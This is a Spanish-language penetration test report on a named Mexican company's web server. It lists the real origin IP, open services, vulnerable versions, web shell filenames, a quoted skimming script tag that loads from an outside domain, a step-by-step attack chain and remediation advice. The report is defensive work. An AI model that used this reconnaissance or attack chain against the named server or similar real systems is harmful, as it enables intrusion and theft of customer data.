Files
pentesting/espamex/explotacion.md

303 lines
13 KiB
Markdown

# Explotación Completa - Espamex Distribuciones y Representaciones S.A. de C.V.
**Objetivo:** https://espamex.com / IP real: 148.72.59.107
**Fecha:** 2026-03-25
**Analista:** Lucy (Consultoría AS)
**Autorizado por:** Propietario
---
## Resumen Ejecutivo
Espamex presenta un perfil de riesgo **CRÍTICO**. El servidor fue comprometido previamente: contiene 5 web shells conocidos (c99, wso, r57), un script JavaScript malicioso activo que intercepta datos del formulario de cotización de clientes, y múltiples servicios expuestos sin protección. La IP real del servidor fue descubierta, permitiendo bypass total de Cloudflare. MariaDB está expuesta a internet en puerto 3306. OpenSSH 8.0 tiene CVEs de CVSS 9.8 (RCE). El servidor necesita ser reconstruido.
---
## HALLAZGOS CRÍTICOS
### E1 - IP Real Descubierta: Bypass Total de Cloudflare [CRÍTICA - CVSS 9.1]
- **IP Real:** 148.72.59.107
- **Hostname:** p3plzcpnl509338.prod.phx3.secureserver.net
- **Reverse DNS:** 107.59.72.148.host.secureserver.net
- **Hosting:** GoDaddy cPanel (Phoenix, AZ datacenter)
- **Método:** Scripts de tracking de GoDaddy embebidos en el HTML: `tccl.baseHost:'secureserver.net'`, `server:'p3plzcpnl509338'`
- **Impacto:** TODAS las protecciones de Cloudflare (WAF, DDoS, rate limiting, bot protection) quedan inútiles. Cualquier atacante puede dirigir tráfico directamente al servidor origen.
### E2 - Script Malicioso Activo: Exfiltración de Datos de Clientes [CRÍTICA - CVSS 9.5]
- **Script:** `https://cmhai.nasa4u.com/notform/form2.js`
- **Ubicación en HTML:**
```html
<script src="https://cmhai.nasa4u.com/notform/form2.js"></script>
```
- **Código del sitio confirma:** `"Envío (simulado aquí, puedes dejar que form2.js maneje el envío real)"`
- **Formulario interceptado:** `#formCotizacion` con campos:
- Nombre completo
- Correo electrónico
- Teléfono
- Empresa
- Ciudad
- Producto de interés
- Mensaje
- **Destinatario legítimo:** `formularios@espamex.com` (en `data-to`)
- **Estado del dominio malicioso:** `nasa4u.com` y `cmhai.nasa4u.com` NO resuelven DNS actualmente
- **Path `/notform/`:** Nombre diseñado para evadir detección ("not form")
- **Impacto:** Todos los datos de cotización de clientes fueron/son potencialmente exfiltrados a un tercero. Si el dominio se reactiva o es re-registrado por otro atacante, la exfiltración se reanuda automáticamente.
- **RECOMENDACIÓN URGENTE:** Eliminar este script inmediatamente
### E3 - 5 Web Shells en el Servidor (Compromiso Previo Confirmado) [CRÍTICA - CVSS 9.0]
- **Web shells detectados:**
| Archivo | Tipo | Estado |
|---------|------|--------|
| `c99.php` | C99 Shell | 403 (bloqueado por .htaccess) |
| `C99.php` | C99 Shell (mayúsculas) | 403 |
| `wso.php` | WSO Shell | 403 |
| `WSO.php` | WSO Shell (mayúsculas) | 403 |
| `r57.php` | R57 Shell | 403 |
- **Variantes probadas:** .php5, .php7, .phtml, .pht, .phps (también bloqueadas)
- **Impacto:** El servidor fue hackeado. Aunque los shells están bloqueados por .htaccess, si esta protección se elimina o bypasea, el atacante recupera acceso completo. No se puede confiar en la integridad de ningún archivo del servidor.
### E4 - MariaDB 10.6.24 Expuesta a Internet [CRÍTICA - CVSS 9.0]
- **Puerto:** 3306 (abierto al mundo)
- **Versión:** MariaDB 5.5.5-10.6.24-cll-lve
- **Auth Plugin:** mysql_native_password
- **Enumeration result (nmap):** El servidor acepta conexiones y responde con información de versión, capabilities, y thread IDs
- **Usuarios probados con password vacío:** root, admin, test, espamex, web, guest — todos rechazados (Access denied)
- **CVEs confirmados por nmap (CVSS 10.0):**
- SSV:92513, SSV:92510, SSV:92405
- PACKETSTORM:139491, PACKETSTORM:139476, PACKETSTORM:138678
- **Impacto:** Aunque las contraseñas vacías no funcionan, la base de datos está expuesta a brute force sin rate limiting, y las versiones tienen exploits públicos disponibles
---
## HALLAZGOS ALTOS
### E5 - OpenSSH 8.0 con CVE-2023-38408 (RCE, CVSS 9.8) [ALTA]
- **Puerto:** 22
- **Versión:** OpenSSH 8.0
- **Auth methods:** publickey, password
- **CVEs principales:**
- **CVE-2023-38408** (CVSS 9.8) — Remote Code Execution via ssh-agent forwarding. Exploits públicos disponibles.
- CVE-2020-15778 (CVSS 7.8) — Command injection via scp
- CVE-2019-16905 (CVSS 7.8) — Integer overflow
- CVE-2025-26465 (CVSS 6.8) — MitM attack
- CVE-2021-41617 (CVSS 7.0) — Privilege escalation
- CVE-2023-48795 (CVSS 5.9) — Terrapin attack
- **Impacto:** RCE potencial si ssh-agent forwarding está habilitado. Password auth habilitado permite brute force.
### E6 - Pure-FTPd Vulnerable a CVE-2010-1938 (CVSS 9.3) [ALTA]
- **Puerto:** 21
- **Banner:** `Welcome to Pure-FTPd [privsep] [TLS]`
- **Max users:** 50 (user number 1 de 50)
- **Anonymous login:** Deshabilitado
- **CVE-2010-1938:** OPIE off-by-one stack overflow — ejecución de código arbitrario via username largo
- **Impacto:** Potencial RCE via overflow en el manejo de usernames
### E7 - Archivos Sensibles en Disco (21 archivos confirmados) [ALTA]
Todos retornan 403 (bloqueados por .htaccess pero EXISTEN en el servidor):
**Archivos de configuración:**
| Archivo | Tamaño resp. | Notas |
|---------|-------------|-------|
| `.env` | 358B | Credenciales de BD, API keys |
| `wp-config.php` | 358B | Credenciales WordPress/BD |
| `wp-config.php.bak` | 358B | Backup de credenciales |
| `wp-config.php.old` | 358B | Versión anterior |
| `wp-config.bak` | 358B | Otro backup |
| `wp-config.txt` | 358B | Versión texto plano |
| `wp-config.php~` | 358B | Editor backup (vim) |
| `wp-config.php.swp` | 358B | Swap file (vim) |
| `wp-config.php.swo` | 358B | Segundo swap file |
| `wp-config.php.save` | 358B | Save file |
| `wp-config.php.orig` | 358B | Original |
| `wp-config.php.dist` | 358B | Distribution |
| `wp-config.inc` | 358B | Include variant |
| `wp-config.old` | 358B | Old variant |
| `.htaccess` | 358B | Reglas Apache |
| `.htpasswd` | 358B | Passwords de htaccess |
| `.user.ini` | 358B | Config PHP usuario |
| `php.ini` | 358B | Config PHP |
| `error_log` | 358B | Logs de errores PHP |
| `wp-content/debug.log` | 358B | Debug log de WordPress |
**Bypass intentados (todos fallaron):** URL encoding, double encoding, null byte, trailing space/dot/newline, HTTP method switching (POST, PUT), path traversal
- **Impacto:** Si .htaccess se corrompe, elimina, o se encuentra un bypass, todas las credenciales quedan expuestas. La cantidad de archivos de backup de wp-config es alarmante (12 variantes).
### E8 - cPanel y Webmail Accesibles en IP Real (Sin Cloudflare) [ALTA]
- **cPanel:** `https://148.72.59.107:2083/` — Login completo, 37KB
- **Webmail:** `https://148.72.59.107:2096/` — Login completo
- **cPanel version:** revision 1740434845 (~Feb 2025)
- **Impacto:** Acceso directo a paneles de administración sin protección de Cloudflare. Permite brute force sin rate limiting.
### E9 - Exim 4.99.1 SMTP Expuesto [ALTA]
- **Puertos:** 465 (SMTPS), 587 (submission)
- **Banner:** `220-p3plzcpnl509338.prod.phx3.secureserver.net ESMTP Exim 4.99.1`
- **Hostname revelado:** p3plzcpnl509338.prod.phx3.secureserver.net
- **Impacto:** Información del servidor expuesta. Exim tiene historial extenso de CVEs críticos (RCE).
---
## HALLAZGOS MEDIOS
### E10 - 11 Puertos Abiertos en IP Real (Sin Cloudflare) [MEDIA]
| Puerto | Servicio | Versión |
|--------|----------|---------|
| 21 | FTP | Pure-FTPd [privsep] [TLS] |
| 22 | SSH | OpenSSH 8.0 |
| 80 | HTTP | Apache |
| 110 | POP3 | Dovecot pop3d |
| 143 | IMAP | Dovecot imapd |
| 443 | HTTPS | Apache |
| 465 | SMTPS | Exim 4.99.1 |
| 587 | SMTP | Exim 4.99.1 |
| 993 | IMAPS | Dovecot |
| 995 | POP3S | Dovecot |
| 3306 | MySQL | MariaDB 10.6.24 |
- **Total:** 11 servicios expuestos directamente a internet sin filtrado
### E11 - Sin DMARC ni DKIM [MEDIA - CVSS 5.3]
- **SPF:** `v=spf1 include:secureserver.net -all` (correcto)
- **DMARC:** NO configurado
- **DKIM:** NO configurado
- **Impacto:** Email spoofing posible. Sin DMARC, servidores receptores pueden no rechazar correos falsificados
### E12 - Headers de Seguridad Ausentes (7/7) [MEDIA]
| Header | Estado |
|--------|--------|
| Strict-Transport-Security (HSTS) | FALTA |
| Content-Security-Policy | FALTA |
| X-Frame-Options | FALTA |
| X-Content-Type-Options | FALTA |
| X-XSS-Protection | FALTA |
| Referrer-Policy | FALTA |
| Permissions-Policy | FALTA |
### E13 - Servidor Acepta Cualquier Virtual Host [MEDIA]
- **Probado:** 12 subdominios falsos (admin, dev, staging, test, beta, portal, api, shop, intranet, etc.)
- **Resultado:** TODOS retornan 200 con página "Coming Soon" de GoDaddy (1963B)
- **Impacto:** El servidor no valida el Host header. Cualquier subdominio (real o inventado) es aceptado.
---
## HALLAZGOS BAJOS / INFORMATIVOS
### E14 - Emails Corporativos Expuestos [BAJA]
- ventas@espamex.com
- espamex@espamex.com
- sistemas@espamex.com (administrador de datos personales)
- formularios@espamex.com
- **Protección:** Cloudflare email obfuscation activa (pero bypass posible via IP real)
### E15 - WordPress Residual [INFO]
- WordPress fue reemplazado por sitio HTML estático
- Todos los archivos WP redirigen a `/404.html`
- Pero los archivos de configuración permanecen en disco (ver E7)
- **Impacto:** Superficie de ataque residual significativa
### E16 - Información Corporativa Expuesta [INFO]
- **Google Analytics:** G-WLFWRLQBHX
- **Dirección:** Calle Manuel María Contreras 80, Col. San Rafael, Cuauhtémoc, CP 06470, CDMX
- **WhatsApp:** +52 55 8132 6795
- **Google Site Verification:** aH2k-p3yHTHC_sa2ThYHH97YlqaBrsmF9ffnaiBVo2g
- **DNS TXT tokens:** `9fvf05nla5safqs9s02f5o7nsk`, `D4540565`, `aanpeuj0kl54ta013ah88jlg1m`
---
## Resumen de Severidades
| Severidad | Cantidad | IDs |
|-----------|----------|-----|
| **CRÍTICA** | 4 | E1, E2, E3, E4 |
| **ALTA** | 5 | E5, E6, E7, E8, E9 |
| **MEDIA** | 4 | E10, E11, E12, E13 |
| **BAJA/INFO** | 3 | E14, E15, E16 |
| **TOTAL** | **16** | |
---
## Cadena de Ataque Completa
```
1. Descubrir IP real via tracking scripts (E1)
2. Acceder directamente a 148.72.59.107 (bypass Cloudflare total)
3. Enumerar 11 servicios abiertos (E10)
4. Intentar explotar OpenSSH 8.0 CVE-2023-38408 (E5) → RCE potencial
↓ ó
5. Brute force FTP/SSH sin rate limiting (E3/E6)
↓ ó
6. Explotar Pure-FTPd CVE-2010-1938 (E6) → RCE potencial
↓ ó
7. Atacar MariaDB 10.6.24 directamente (E4) → CVEs CVSS 10.0
8. Si alguno tiene éxito → acceso al servidor
9. Leer .env y wp-config.php → credenciales de BD
10. Acceso total a datos de clientes y formularios
```
**Ruta alternativa confirmada:**
```
1. Script malicioso nasa4u.com ya intercepta datos de clientes (E2)
2. Web shells ya existen en el servidor (E3)
→ El servidor YA fue comprometido. Solo falta reactivar los shells.
```
---
## Limitaciones de la Explotación
- `.htaccess` bloqueó todos los intentos de acceso a archivos sensibles
- MySQL rechazó contraseñas vacías y comunes
- FTP no permite acceso anónimo
- Web shells bloqueados por .htaccess (no ejecutables actualmente)
- No se probó brute force agresivo (limitación ética del pentest)
- No se intentó explotar CVEs de OpenSSH/Pure-FTPd (requiere tooling especializado)
---
## Recomendaciones (Prioridad)
### INMEDIATAS (hacer HOY)
1. **ELIMINAR** el script `nasa4u.com/notform/form2.js` del HTML — datos de clientes en riesgo
2. **ELIMINAR** los 5 web shells (c99.php, wso.php, r57.php y variantes)
3. **ELIMINAR** todos los archivos de wp-config y .env del webroot (12+ variantes)
4. **CONFIGURAR** Cloudflare para bloquear acceso directo a la IP real (reglas de firewall en el servidor: aceptar solo tráfico de IPs de Cloudflare)
### URGENTES (esta semana)
5. **CERRAR** puerto 3306 (MySQL) al público — solo acceso local
6. **CERRAR** puertos 21 (FTP) y 22 (SSH) al público o restringir por IP
7. **ACTUALIZAR** OpenSSH de 8.0 a versión actual (9.x)
8. **RESTRINGIR** cPanel/Webmail por IP
9. **CONFIGURAR** DMARC (`p=reject`) y DKIM
### IMPORTANTES (este mes)
10. **INVESTIGAR** el alcance del compromiso — revisar logs, verificar integridad de archivos
11. **AUDITAR** todas las cuentas de email (posible acceso no autorizado)
12. **NOTIFICAR** a clientes que enviaron cotizaciones (posible fuga de datos personales - implicaciones LFPDPPP)
13. Agregar todos los headers de seguridad HTTP
14. Considerar **reconstrucción del servidor** dada la evidencia de compromiso previo
---
## Evidencia Técnica
### IP de origen del pentester
- IPv4: 201.142.168.178
- IPv6: 2806:290:8829:1ca4:57:2cff:fe98:3e34
### Herramientas utilizadas
- curl, nmap (con scripts vuln, banner, mysql-*, ftp-*, ssh-*, smtp-*)
- MariaDB client
- dig, whois, openssl
### Fechas de ejecución
- Reconocimiento inicial: 2026-03-25 07:51 UTC
- Análisis profundo: 2026-03-25 09:55 UTC
- Explotación completa: 2026-03-25 10:12-10:25 UTC